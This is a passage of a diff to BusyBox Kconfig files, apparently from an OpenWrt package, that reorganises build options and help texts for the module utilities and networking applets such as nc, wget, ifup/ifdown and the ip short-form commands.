-	  rmmod is used to unload specified modules from the kernel.
-
 config BUSYBOX_CONFIG_LSMOD
 	bool "lsmod"
 	default BUSYBOX_DEFAULT_LSMOD
-	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  lsmod is used to display a list of loaded modules.
@@ -86,17 +61,35 @@ config BUSYBOX_CONFIG_LSMOD
 config BUSYBOX_CONFIG_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
 	bool "Pretty output"
 	default BUSYBOX_DEFAULT_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
-	depends on BUSYBOX_CONFIG_LSMOD
+	depends on BUSYBOX_CONFIG_LSMOD && !BUSYBOX_CONFIG_MODPROBE_SMALL
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  This option makes output format of lsmod adjusted to
 	  the format of module-init-tools for Linux kernel 2.6.
 	  Increases size somewhat.
+config BUSYBOX_CONFIG_MODINFO
+	bool "modinfo"
+	default BUSYBOX_DEFAULT_MODINFO
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Show information about a Linux Kernel module
+config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
+	bool "Accept module options on modprobe command line"
+	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
+	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Allow insmod and modprobe take module options from command line.
 
+config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
+	bool "Skip loading of already loaded modules"
+	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
+	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
+	help
+	  Check if the module is already loaded.
 config BUSYBOX_CONFIG_MODPROBE
 	bool "modprobe"
 	default BUSYBOX_DEFAULT_MODPROBE
-	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Handle the loading of modules, and their dependencies on a high
@@ -105,7 +98,7 @@ config BUSYBOX_CONFIG_MODPROBE
 config BUSYBOX_CONFIG_FEATURE_MODPROBE_BLACKLIST
 	bool "Blacklist support"
 	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_BLACKLIST
-	depends on BUSYBOX_CONFIG_MODPROBE
+	depends on BUSYBOX_CONFIG_MODPROBE && !BUSYBOX_CONFIG_MODPROBE_SMALL
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Say 'y' here to enable support for the 'blacklist' command in
@@ -113,16 +106,12 @@ config BUSYBOX_CONFIG_FEATURE_MODPROBE_BLACKLIST
 	  blacklisted modules. This is useful if you want to prevent your
 	  hardware autodetection scripts to load modules like evdev, frame
 	  buffer drivers etc.
-
-config BUSYBOX_CONFIG_DEPMOD
-	bool "depmod"
-	default BUSYBOX_DEFAULT_DEPMOD
-	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
+config BUSYBOX_CONFIG_RMMOD
+	bool "rmmod"
+	default BUSYBOX_DEFAULT_RMMOD
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
-	  depmod generates modules.dep (and potentially modules.alias
-	  and modules.symbols) that contain dependency information
-	  for modprobe.
+	  rmmod is used to unload specified modules from the kernel.
 
 comment "Options common to multiple modutils"
 
diff --git a/package/utils/busybox/config/networking/Config.in b/package/utils/busybox/config/networking/Config.in
index 407ddd3..bc2f127 100644
--- a/package/utils/busybox/config/networking/Config.in
+++ b/package/utils/busybox/config/networking/Config.in
@@ -6,183 +6,6 @@
 
 menu "Networking Utilities"
 
-config BUSYBOX_CONFIG_NAMEIF
-	bool "nameif"
-	default BUSYBOX_DEFAULT_NAMEIF
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	select BUSYBOX_CONFIG_FEATURE_SYSLOG
-	help
-	  nameif is used to rename network interface by its MAC address.
-	  Renamed interfaces MUST be in the down state.
-	  It is possible to use a file (default: /etc/mactab)
-	  with list of new interface names and MACs.
-	  Maximum interface name length: IFNAMSIZ = 16
-	  File fields are separated by space or tab.
-	  File format:
-	  # Comment
-	  new_interface_name    XX:XX:XX:XX:XX:XX
-
-config BUSYBOX_CONFIG_FEATURE_NAMEIF_EXTENDED
-	bool "Extended nameif"
-	default BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
-	depends on BUSYBOX_CONFIG_NAMEIF
-	help
-	  This extends the nameif syntax to support the bus_info, driver,
-	  phyaddr selectors. The syntax is compatible to the normal nameif.
-	  File format:
-	    new_interface_name  driver=asix bus=usb-0000:00:08.2-3
-	    new_interface_name  bus=usb-0000:00:08.2-3 00:80:C8:38:91:B5
-	    new_interface_name  phy_address=2 00:80:C8:38:91:B5
-	    new_interface_name  mac=00:80:C8:38:91:B5
-	    new_interface_name  00:80:C8:38:91:B5
-config BUSYBOX_CONFIG_NBDCLIENT
-	bool "nbd-client"
-	default BUSYBOX_DEFAULT_NBDCLIENT
-	help
-	  Network block device client
-config BUSYBOX_CONFIG_NC
-	bool "nc"
-	default BUSYBOX_DEFAULT_NC
-	help
-	  A simple Unix utility which reads and writes data across network
-	  connections.
-
-config BUSYBOX_CONFIG_NC_SERVER
-	bool "Netcat server options (-l)"
-	default BUSYBOX_DEFAULT_NC_SERVER
-	depends on BUSYBOX_CONFIG_NC
-	help
-	  Allow netcat to act as a server.
-
-config BUSYBOX_CONFIG_NC_EXTRA
-	bool "Netcat extensions (-eiw and -f FILE)"
-	default BUSYBOX_DEFAULT_NC_EXTRA
-	depends on BUSYBOX_CONFIG_NC
-	help
-	  Add -e (support for executing the rest of the command line after
-	  making or receiving a successful connection), -i (delay interval for
-	  lines sent), -w (timeout for initial connection).
-
-config BUSYBOX_CONFIG_NC_110_COMPAT
-	bool "Netcat 1.10 compatibility (+2.5k)"
-	default BUSYBOX_DEFAULT_NC_110_COMPAT  # off specially for Rob
-	depends on BUSYBOX_CONFIG_NC
-	help
-	  This option makes nc closely follow original nc-1.10.
-	  The code is about 2.5k bigger. It enables
-	  -s ADDR, -n, -u, -v, -o FILE, -z options, but loses
-	  busybox-specific extensions: -f FILE.
-config BUSYBOX_CONFIG_PING
-	bool "ping"
-	default BUSYBOX_DEFAULT_PING
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  ping uses the ICMP protocol's mandatory ECHO_REQUEST datagram to
-	  elicit an ICMP ECHO_RESPONSE from a host or gateway.
-
-config BUSYBOX_CONFIG_PING6
-	bool "ping6"
-	default BUSYBOX_DEFAULT_PING6
-	depends on BUSYBOX_CONFIG_FEATURE_IPV6 && BUSYBOX_CONFIG_PING
-	help
-	  This will give you a ping that can talk IPv6.
-
-config BUSYBOX_CONFIG_FEATURE_FANCY_PING
-	bool "Enable fancy ping output"
-	default BUSYBOX_DEFAULT_FEATURE_FANCY_PING
-	depends on BUSYBOX_CONFIG_PING
-	help
-	  Make the output from the ping applet include statistics, and at the
-	  same time provide full support for ICMP packets.
-config BUSYBOX_CONFIG_WGET
-	bool "wget"
-	default BUSYBOX_DEFAULT_WGET
-	help
-	  wget is a utility for non-interactive download of files from HTTP
-	  and FTP servers.
-
-config BUSYBOX_CONFIG_FEATURE_WGET_STATUSBAR
-	bool "Enable a nifty process meter (+2k)"
-	default BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
-	depends on BUSYBOX_CONFIG_WGET
-	help
-	  Enable the transfer progress bar for wget transfers.
-
-config BUSYBOX_CONFIG_FEATURE_WGET_AUTHENTICATION
-	bool "Enable HTTP authentication"
-	default BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
-	depends on BUSYBOX_CONFIG_WGET
-	help
-	  Support authenticated HTTP transfers.
-
-config BUSYBOX_CONFIG_FEATURE_WGET_LONG_OPTIONS
-	bool "Enable long options"
-	default BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
-	depends on BUSYBOX_CONFIG_WGET && BUSYBOX_CONFIG_LONG_OPTS
-	help
-	  Support long options for the wget applet.
-
-config BUSYBOX_CONFIG_FEATURE_WGET_TIMEOUT
-	bool "Enable timeout option -T SEC"
-	default BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
-	depends on BUSYBOX_CONFIG_WGET
-	help
-	  Supports network read and connect timeouts for wget,
-	  so that wget will give up and timeout, through the -T
-	  command line option.
-
-	  Currently only connect and network data read timeout are
-	  supported (i.e., timeout is not applied to the DNS query). When
-	  FEATURE_WGET_LONG_OPTIONS is also enabled, the --timeout option
-	  will work in addition to -T.
-
-config BUSYBOX_CONFIG_FEATURE_WGET_OPENSSL
-	bool "Try to connect to HTTPS using openssl"
-	default BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
-	depends on BUSYBOX_CONFIG_WGET
-	help
-	  Choose how wget establishes SSL connection for https:// URLs.
-
-	  Busybox itself contains no SSL code. wget will spawn
-	  a helper program to talk over HTTPS.
-
-	  OpenSSL has a simple SSL client for debug purposes.
-	  If you select "openssl" helper, wget will effectively call
-	  "openssl s_client -quiet -connect IP:443 2>/dev/null"
-	  and pipe its data through it.
-	  Note inconvenient API: host resolution is done twice,
-	  and there is no guarantee openssl's idea of IPv6 address
-	  format is the same as ours.
-	  Another problem is that s_client prints debug information
-	  to stderr, and it needs to be suppressed. This means
-	  all error messages get suppressed too.
-	  openssl is also a big binary, often dynamically linked
-	  against ~15 libraries.
-
-config BUSYBOX_CONFIG_FEATURE_WGET_SSL_HELPER
-	bool "Try to connect to HTTPS using ssl_helper"
-	default BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
-	depends on BUSYBOX_CONFIG_WGET
-	help
-	  Choose how wget establishes SSL connection for https:// URLs.
-
-	  Busybox itself contains no SSL code. wget will spawn
-	  a helper program to talk over HTTPS.
-
-	  ssl_helper is a tool which can be built statically
-	  from busybox sources against a small embedded SSL library.
-	  Please see networking/ssl_helper/README.
-	  It does not require double host resolution and emits
-	  error messages to stderr.
-
-	  Precompiled static binary may be available at
-	  http://busybox.net/downloads/binaries/
-config BUSYBOX_CONFIG_WHOIS
-	bool "whois"
-	default BUSYBOX_DEFAULT_WHOIS
-	help
-	  whois is a client for the whois directory service
-
 config BUSYBOX_CONFIG_FEATURE_IPV6
 	bool "Enable IPv6 support"
 	default BUSYBOX_DEFAULT_FEATURE_IPV6
@@ -230,7 +53,6 @@ config BUSYBOX_CONFIG_ARP
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Manipulate the system ARP cache.
-
 config BUSYBOX_CONFIG_ARPING
 	bool "arping"
 	default BUSYBOX_DEFAULT_ARPING
@@ -264,37 +86,26 @@ config BUSYBOX_CONFIG_FEATURE_BRCTL_SHOW
 	help
 	  Add support for option which prints the current config:
 	    show
-
 config BUSYBOX_CONFIG_DNSD
 	bool "dnsd"
 	default BUSYBOX_DEFAULT_DNSD
 	help
 	  Small and static DNS server daemon.
-
 config BUSYBOX_CONFIG_ETHER_WAKE
 	bool "ether-wake"
 	default BUSYBOX_DEFAULT_ETHER_WAKE
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Send a magic packet to wake up sleeping machines.
-
-config BUSYBOX_CONFIG_FAKEIDENTD
-	bool "fakeidentd"
-	default BUSYBOX_DEFAULT_FAKEIDENTD
-	select BUSYBOX_CONFIG_FEATURE_SYSLOG
-	help
-	  fakeidentd listens on the ident port and returns a predefined
-	  fake value on any query.
-
 config BUSYBOX_CONFIG_FTPD
 	bool "ftpd"
 	default BUSYBOX_DEFAULT_FTPD
 	help
 	  simple FTP daemon. You have to run it via inetd.
 
-config BUSYBOX_CONFIG_FEATURE_FTP_WRITE
+config BUSYBOX_CONFIG_FEATURE_FTPD_WRITE
 	bool "Enable upload commands"
-	default BUSYBOX_DEFAULT_FEATURE_FTP_WRITE
+	default BUSYBOX_DEFAULT_FEATURE_FTPD_WRITE
 	depends on BUSYBOX_CONFIG_FTPD
 	help
 	  Enable all kinds of FTP upload commands (-w option)
@@ -310,13 +121,12 @@ config BUSYBOX_CONFIG_FEATURE_FTPD_ACCEPT_BROKEN_LIST
 	  it increases the code size by ~40 bytes.
 	  Most other ftp servers seem to behave similar to this.
 
-config BUSYBOX_CONFIG_FEATURE_FTP_AUTHENTICATION
+config BUSYBOX_CONFIG_FEATURE_FTPD_AUTHENTICATION
 	bool "Enable authentication"
-	default BUSYBOX_DEFAULT_FEATURE_FTP_AUTHENTICATION
+	default BUSYBOX_DEFAULT_FEATURE_FTPD_AUTHENTICATION
 	depends on BUSYBOX_CONFIG_FTPD
 	help
 	  Enable basic system login as seen in telnet etc.
-
 config BUSYBOX_CONFIG_FTPGET
 	bool "ftpget"
 	default BUSYBOX_DEFAULT_FTPGET
@@ -335,13 +145,17 @@ config BUSYBOX_CONFIG_FEATURE_FTPGETPUT_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_LONG_OPTS && (BUSYBOX_CONFIG_FTPGET || BUSYBOX_CONFIG_FTPPUT)
 	help
 	  Support long options for the ftpget/ftpput applet.
-
 config BUSYBOX_CONFIG_HOSTNAME
 	bool "hostname"
 	default BUSYBOX_DEFAULT_HOSTNAME
 	help
 	  Show or set the system's host name.
 
+config BUSYBOX_CONFIG_DNSDOMAINNAME
+	bool "dnsdomainname"
+	default BUSYBOX_DEFAULT_DNSDOMAINNAME
+	help
+	  Alias to "hostname -d".
 config BUSYBOX_CONFIG_HTTPD
 	bool "httpd"
 	default BUSYBOX_DEFAULT_HTTPD
@@ -460,7 +274,6 @@ config BUSYBOX_CONFIG_FEATURE_HTTPD_GZIP
 	help
 	  Makes httpd send files using GZIP content encoding if the
 	  client supports it and a pre-compressed <file>.gz exists.
-
 config BUSYBOX_CONFIG_IFCONFIG
 	bool "ifconfig"
 	default BUSYBOX_DEFAULT_IFCONFIG
@@ -508,7 +321,6 @@ config BUSYBOX_CONFIG_FEATURE_IFCONFIG_BROADCAST_PLUS
 	help
 	  Setting this will make ifconfig attempt to find the broadcast
 	  automatically if the value '+' is used.
-
 config BUSYBOX_CONFIG_IFENSLAVE
 	bool "ifenslave"
 	default BUSYBOX_DEFAULT_IFENSLAVE
@@ -516,20 +328,18 @@ config BUSYBOX_CONFIG_IFENSLAVE
 	help
 	  Userspace application to bind several interfaces
 	  to a logical interface (use with kernel bonding driver).
-
 config BUSYBOX_CONFIG_IFPLUGD
 	bool "ifplugd"
 	default BUSYBOX_DEFAULT_IFPLUGD
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Network interface plug detection daemon.
-
-config BUSYBOX_CONFIG_IFUPDOWN
-	bool "ifupdown"
-	default BUSYBOX_DEFAULT_IFUPDOWN
+config BUSYBOX_CONFIG_IFUP
+	bool "ifup"
+	default BUSYBOX_DEFAULT_IFUP
 	help
-	  Activate or deactivate the specified interfaces. This applet makes
-	  use of either "ifconfig" and "route" or the "ip" command to actually
+	  Activate the specified interfaces. This applet makes use
+	  of either "ifconfig" and "route" or the "ip" command to actually
 	  configure network interfaces. Therefore, you will probably also want
 	  to enable either IFCONFIG and ROUTE, or enable
 	  FEATURE_IFUPDOWN_IP and the various IP options. Of
@@ -540,10 +350,16 @@ config BUSYBOX_CONFIG_IFUPDOWN
 	  "ifconfig", "route" and "run-parts" or the "ip" command, either
 	  via busybox or via standalone utilities.
 
+config BUSYBOX_CONFIG_IFDOWN
+	bool "ifdown"
+	default BUSYBOX_DEFAULT_IFDOWN
+	help
+	  Deactivate the specified interfaces.
+
 config BUSYBOX_CONFIG_IFUPDOWN_IFSTATE_PATH
 	string "Absolute path to ifstate file"
 	default BUSYBOX_DEFAULT_IFUPDOWN_IFSTATE_PATH
-	depends on BUSYBOX_CONFIG_IFUPDOWN
+	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
 	help
 	  ifupdown keeps state information in a file called ifstate.
 	  Typically it is located in /var/run/ifstate, however
@@ -552,69 +368,39 @@ config BUSYBOX_CONFIG_IFUPDOWN_IFSTATE_PATH
 	  This config option defines location of ifstate.
 
 config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP
-	bool "Use ip applet"
+	bool "Use ip tool (else ifconfig/route is used)"
 	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP
-	depends on BUSYBOX_CONFIG_IFUPDOWN
+	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
 	help
 	  Use the iproute "ip" command to implement "ifup" and "ifdown", rather
-	  than the default of using the older 'ifconfig' and 'route' utilities.
-
-config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP_BUILTIN
-	bool "Use busybox ip applet"
-	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP_BUILTIN
-	depends on BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	select BUSYBOX_CONFIG_IP
-	select BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
-	select BUSYBOX_CONFIG_FEATURE_IP_LINK
-	select BUSYBOX_CONFIG_FEATURE_IP_ROUTE
-	help
-	  Use the busybox iproute "ip" applet to implement "ifupdown".
+	  than the default of using the older "ifconfig" and "route" utilities.
 
-	  If left disabled, you must install the full-blown iproute2
-	  utility or the  "ifup" and "ifdown" applets will not work.
-
-config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN
-	bool "Use busybox ifconfig and route applets"
-	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN
-	depends on BUSYBOX_CONFIG_IFUPDOWN && !BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP
-	select BUSYBOX_CONFIG_IFCONFIG
-	select BUSYBOX_CONFIG_ROUTE
-	help
-	  Use the busybox iproute "ifconfig" and "route" applets to
-	  implement the "ifup" and "ifdown" utilities.
+	  If Y: you must install either the full-blown iproute2 package
+	  or enable "ip" applet in Busybox, or the "ifup" and "ifdown" applets
+	  will not work.
 
-	  If left disabled, you must install the full-blown ifconfig
-	  and route utilities, or the  "ifup" and "ifdown" applets will not
-	  work.
+	  If N: you must install either the full-blown ifconfig and route
+	  utilities, or enable these applets in Busybox.
 
 config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IPV4
 	bool "Support for IPv4"
 	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV4
-	depends on BUSYBOX_CONFIG_IFUPDOWN
+	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
 	help
 	  If you want ifup/ifdown to talk IPv4, leave this on.
 
 config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IPV6
 	bool "Support for IPv6"
 	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV6
-	depends on BUSYBOX_CONFIG_IFUPDOWN && BUSYBOX_CONFIG_FEATURE_IPV6
+	depends on (BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN) && BUSYBOX_CONFIG_FEATURE_IPV6
 	help
 	  If you need support for IPv6, turn this option on.
 
-### UNUSED
-###config FEATURE_IFUPDOWN_IPX
-###	bool "Support for IPX"
-###	default y
-###	depends on IFUPDOWN
-###	help
-###	  If this option is selected you can use busybox to work with IPX
-###	  networks.
 
 config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_MAPPING
 	bool "Enable mapping support"
 	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_MAPPING
-	depends on BUSYBOX_CONFIG_IFUPDOWN
+	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
 	help
 	  This enables support for the "mapping" stanza, unless you have
 	  a weird network setup you don't need it.
@@ -622,13 +408,12 @@ config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_MAPPING
 config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_EXTERNAL_DHCP
 	bool "Support for external dhcp clients"
 	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_EXTERNAL_DHCP
-	depends on BUSYBOX_CONFIG_IFUPDOWN
+	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
 	help
 	  This enables support for the external dhcp clients. Clients are
 	  tried in the following order: dhcpcd, dhclient, pump and udhcpc.
 	  Otherwise, if udhcpc applet is enabled, it is used.
 	  Otherwise, ifup/ifdown will have no support for DHCP.
-
 config BUSYBOX_CONFIG_INETD
 	bool "inetd"
 	default BUSYBOX_DEFAULT_INETD
@@ -678,7 +463,6 @@ config BUSYBOX_CONFIG_FEATURE_INETD_RPC
 	select BUSYBOX_CONFIG_FEATURE_HAVE_RPC
 	help
 	  Support Sun-RPC based services
-
 config BUSYBOX_CONFIG_IP
 	bool "ip"
 	default BUSYBOX_DEFAULT_IP
@@ -688,24 +472,72 @@ config BUSYBOX_CONFIG_IP
 	  utility. You generally don't need "ip" to use busybox with
 	  TCP/IP.
 
+config BUSYBOX_CONFIG_IPADDR
+	bool "ipaddr"
+	default BUSYBOX_DEFAULT_IPADDR
+	select BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Support short form of ip addr: ipaddr
+
+config BUSYBOX_CONFIG_IPLINK
+	bool "iplink"
+	default BUSYBOX_DEFAULT_IPLINK
+	select BUSYBOX_CONFIG_FEATURE_IP_LINK
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Support short form of ip link: iplink
+
+config BUSYBOX_CONFIG_IPROUTE
+	bool "iproute"
+	default BUSYBOX_DEFAULT_IPROUTE
+	select BUSYBOX_CONFIG_FEATURE_IP_ROUTE
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Support short form of ip route: iproute
+
+config BUSYBOX_CONFIG_IPTUNNEL
+	bool "iptunnel"
+	default BUSYBOX_DEFAULT_IPTUNNEL
+	select BUSYBOX_CONFIG_FEATURE_IP_TUNNEL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Support short form of ip tunnel: iptunnel
+
+config BUSYBOX_CONFIG_IPRULE
+	bool "iprule"
+	default BUSYBOX_DEFAULT_IPRULE
+	select BUSYBOX_CONFIG_FEATURE_IP_RULE
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Support short form of ip rule: iprule
+
+config BUSYBOX_CONFIG_IPNEIGH
+	bool "ipneigh"
+	default BUSYBOX_DEFAULT_IPNEIGH
+	select BUSYBOX_CONFIG_FEATURE_IP_NEIGH
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Support short form of ip neigh: ipneigh
+
 config BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
 	bool "ip address"
 	default BUSYBOX_DEFAULT_FEATURE_IP_ADDRESS
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPADDR
 	help
 	  Address manipulation support for the "ip" applet.
 
 config BUSYBOX_CONFIG_FEATURE_IP_LINK
 	bool "ip link"
 	default BUSYBOX_DEFAULT_FEATURE_IP_LINK
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPLINK
 	help
 	  Configure network devices with "ip".
 
 config BUSYBOX_CONFIG_FEATURE_IP_ROUTE
 	bool "ip route"
 	default BUSYBOX_DEFAULT_FEATURE_IP_ROUTE
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPROUTE
 	help
 	  Add support for routing table management to "ip".
 
@@ -719,80 +551,33 @@ config BUSYBOX_CONFIG_FEATURE_IP_ROUTE_DIR
 config BUSYBOX_CONFIG_FEATURE_IP_TUNNEL
 	bool "ip tunnel"
 	default BUSYBOX_DEFAULT_FEATURE_IP_TUNNEL
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPTUNNEL
 	help
 	  Add support for tunneling commands to "ip".
 
 config BUSYBOX_CONFIG_FEATURE_IP_RULE
 	bool "ip rule"
 	default BUSYBOX_DEFAULT_FEATURE_IP_RULE
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPRULE
 	help
 	  Add support for rule commands to "ip".
 
 config BUSYBOX_CONFIG_FEATURE_IP_NEIGH
 	bool "ip neighbor"
 	default BUSYBOX_DEFAULT_FEATURE_IP_NEIGH
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPNEIGH
 	help
 	  Add support for neighbor commands to "ip".
 
-config BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS
-	bool "Support short forms of ip commands"
-	default BUSYBOX_DEFAULT_FEATURE_IP_SHORT_FORMS
-	depends on BUSYBOX_CONFIG_IP
-	help
-	  Also support short-form of ip <OBJECT> commands:
-	  ip addr   -> ipaddr
-	  ip link   -> iplink
-	  ip route  -> iproute
-	  ip tunnel -> iptunnel
-	  ip rule   -> iprule
-	  ip neigh  -> ipneigh
-
-	  Say N unless you desparately need the short form of the ip
-	  object commands.
-
 config BUSYBOX_CONFIG_FEATURE_IP_RARE_PROTOCOLS
 	bool "Support displaying rarely used link types"
 	default BUSYBOX_DEFAULT_FEATURE_IP_RARE_PROTOCOLS
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPADDR || BUSYBOX_CONFIG_IPLINK || BUSYBOX_CONFIG_IPROUTE || BUSYBOX_CONFIG_IPTUNNEL || BUSYBOX_CONFIG_IPRULE || BUSYBOX_CONFIG_IPNEIGH
 	help
 	  If you are not going to use links of type "frad", "econet",
 	  "bif" etc, you probably don't need to enable this.
 	  Ethernet, wireless, infrared, ppp/slip, ip tunnelling
 	  link types are supported without this option selected.
-
-config BUSYBOX_CONFIG_IPADDR
-	bool
-	default BUSYBOX_DEFAULT_IPADDR
-	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
-
-config BUSYBOX_CONFIG_IPLINK
-	bool
-	default BUSYBOX_DEFAULT_IPLINK
-	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_LINK
-
-config BUSYBOX_CONFIG_IPROUTE
-	bool
-	default BUSYBOX_DEFAULT_IPROUTE
-	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_ROUTE
-
-config BUSYBOX_CONFIG_IPTUNNEL
-	bool
-	default BUSYBOX_DEFAULT_IPTUNNEL
-	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_TUNNEL
-
-config BUSYBOX_CONFIG_IPRULE
-	bool
-	default BUSYBOX_DEFAULT_IPRULE
-	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_RULE
-
-config BUSYBOX_CONFIG_IPNEIGH
-	bool
-	default BUSYBOX_DEFAULT_IPNEIGH
-	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_NEIGH
-
 config BUSYBOX_CONFIG_IPCALC
 	bool "ipcalc"
 	default BUSYBOX_DEFAULT_IPCALC
@@ -814,13 +599,84 @@ config BUSYBOX_CONFIG_FEATURE_IPCALC_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_IPCALC && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the ipcalc applet.
+config BUSYBOX_CONFIG_FAKEIDENTD
+	bool "fakeidentd"
+	default BUSYBOX_DEFAULT_FAKEIDENTD
+	select BUSYBOX_CONFIG_FEATURE_SYSLOG
+	help
+	  fakeidentd listens on the ident port and returns a predefined
+	  fake value on any query.
+config BUSYBOX_CONFIG_NAMEIF
+	bool "nameif"
+	default BUSYBOX_DEFAULT_NAMEIF
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	select BUSYBOX_CONFIG_FEATURE_SYSLOG
+	help
+	  nameif is used to rename network interface by its MAC address.
+	  Renamed interfaces MUST be in the down state.
+	  It is possible to use a file (default: /etc/mactab)
+	  with list of new interface names and MACs.
+	  Maximum interface name length: IFNAMSIZ = 16
+	  File fields are separated by space or tab.
+	  File format:
+	  # Comment
+	  new_interface_name    XX:XX:XX:XX:XX:XX
 
+config BUSYBOX_CONFIG_FEATURE_NAMEIF_EXTENDED
+	bool "Extended nameif"
+	default BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
+	depends on BUSYBOX_CONFIG_NAMEIF
+	help
+	  This extends the nameif syntax to support the bus_info, driver,
+	  phyaddr selectors. The syntax is compatible to the normal nameif.
+	  File format:
+	    new_interface_name  driver=asix bus=usb-0000:00:08.2-3
+	    new_interface_name  bus=usb-0000:00:08.2-3 00:80:C8:38:91:B5
+	    new_interface_name  phy_address=2 00:80:C8:38:91:B5
+	    new_interface_name  mac=00:80:C8:38:91:B5
+	    new_interface_name  00:80:C8:38:91:B5
+config BUSYBOX_CONFIG_NBDCLIENT
+	bool "nbd-client"
+	default BUSYBOX_DEFAULT_NBDCLIENT
+	help
+	  Network block device client
+config BUSYBOX_CONFIG_NC
+	bool "nc"
+	default BUSYBOX_DEFAULT_NC
+	help
+	  A simple Unix utility which reads and writes data across network
+	  connections.
+
+config BUSYBOX_CONFIG_NC_SERVER
